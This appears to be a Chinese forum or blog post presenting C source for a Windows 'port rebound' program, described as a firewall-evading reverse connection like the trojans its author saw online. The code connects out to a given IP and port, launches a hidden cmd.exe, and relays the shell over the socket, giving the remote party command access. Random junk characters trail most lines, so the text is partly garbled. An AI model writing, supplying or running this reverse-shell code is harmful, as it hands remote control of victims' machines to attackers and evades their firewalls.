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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?Q3~n^  
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/* ============================== '5U$`Xe1  
Rebound port in Windows NT 0?xiGSZV  
By wind,2006/7 C#&6p0U  
===============================*/ )''wu\7A)'  
#include 7nz+n#  
#include 1}E@lOc  
uFWgq::\  
#pragma comment(lib,"wsock32.lib") Ekme62Q>u  
B?y t%f1  
void OutputShell(); l%(`<a]VIB  
SOCKET sClient; ~bTae =FP  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; EiN)TB^]  
qo- F9u1J  
void main(int argc,char **argv) eF^"{a3b  
{ k)V%.Eobf  
WSADATA stWsaData; {7>CA'>  
int nRet; _vV&4>  
SOCKADDR_IN stSaiClient,stSaiServer; b6vYM_ Q  
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if(argc != 3) d J:x1j  
{ q{/Jw"e  
printf("Useage:\n\rRebound DestIP DestPort\n"); sC_UalOC_  
return; -==qMrKP  
} ~<- ci  
N%A`rY}u  
WSAStartup(MAKEWORD(2,2),&stWsaData); v-fi9$#^  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B8AzN9v&"N  
.00=U;H%`  
stSaiClient.sin_family = AF_INET; 4F,Ql"ae(  
stSaiClient.sin_port = htons(0); mv*T=N8fC  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  7EP|X.  
G+ v, Hi1  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p <=%  
{ :n9xH  
printf("Bind Socket Failed!\n"); SWjQ.aM  
return; K6{bYho  
} |8c:+8  
+^DRto=  
stSaiServer.sin_family = AF_INET; A1QI4.K  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); CQzjCRS d  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); RC{Z)M{~  
<cv2-?L{  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Bd9hf`% 2  
{ #} ~p^ 0  
printf("Connect Error!"); CQjZAv  
return; n R\n\   
} " Z2Tc)  
OutputShell(); Cld<D5\|f+  
} *e3L4 7"G  
Sm$j:xw <  
void OutputShell() uOl(-Zq@  
{ [Ba2b: l6v  
char szBuff[1024]; @?3vRs}h  
SECURITY_ATTRIBUTES stSecurityAttributes; |5~wwL@LW7  
OSVERSIONINFO stOsversionInfo; ,t%CK!8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?D(FNd  
STARTUPINFO stStartupInfo; `[@^m5?b-  
char *szShell; `Ix s7{&jU  
PROCESS_INFORMATION stProcessInformation; &cu] vw  
unsigned long lBytesRead; +t>*l>[  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }*.:Hv"  
G&@-R{i  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [T4 pgt'H  
stSecurityAttributes.lpSecurityDescriptor = 0; 'G l;Ir^  
stSecurityAttributes.bInheritHandle = TRUE; ]D{c4)\7C|  
] ^; b  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); niYz9YX  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xHv|ca.E  
}$|%/Y  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,TF<y#wed  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kd/[ Bs%  
stStartupInfo.wShowWindow = SW_HIDE; rT flk  
stStartupInfo.hStdInput = hReadPipe; Mu'^OX82  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5 6Sh  
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GetVersionEx(&stOsversionInfo); 66~e~F}z  
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switch(stOsversionInfo.dwPlatformId) 1 [fo'M  
{ uX<+hG.n}  
case 1: oUQGLl!V  
szShell = "command.com"; _x\-!&[p  
break; X)Dqeb6  
default: YKP=0 j3,  
szShell = "cmd.exe"; /&D'V_Q`*  
break; >oft :7p  
} Z!wD~C"D73  
/rIm7FW)  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;JOD!|  
6sYV7w,'@  
send(sClient,szMsg,77,0); fDU+3b  
while(1) s.^c..e75C  
{ Z$!C=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x1N me%%&  
if(lBytesRead) s8t f@H4r  
{ EvwbhvA(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M0O>Ljo4RN  
send(sClient,szBuff,lBytesRead,0); `GvA241  
} Rr+qg t;f5  
else cwu$TP A>  
{ ;c>>$lr  
lBytesRead=recv(sClient,szBuff,1024,0); t-!Rgg$9  
if(lBytesRead<=0) break; gWFL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nHSTeF I?  
} o*%3[HmV  
} &bB6}H(  
b\1+kB/8  
return; 'oC$6l'rQ  
}
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